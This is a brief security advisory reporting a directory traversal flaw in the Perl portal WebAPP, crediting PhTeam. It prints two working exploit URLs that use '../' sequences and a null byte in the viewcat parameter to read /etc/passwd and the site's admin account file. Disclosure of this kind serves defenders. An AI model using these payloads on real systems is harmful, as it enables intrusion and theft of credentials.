WebAPP is advertised as the internet's most feature rich, easy to run PERL based portal system. The WebAPP system has a serious reverse directory traversal vulnerabilityhttp:///cgi-bin/index.cgi?action=topics&viewcat=../../../../../../../etc/passwd%00http:///cgi-bin/index.cgi?action=topics&viewcat=../../db/members/admin.dat%00Detailed info : http://www.packetstormsecurity.com/0408-exploits/webapp.traversal.txtCredits goes to PhTeam for discovering this vulnerability.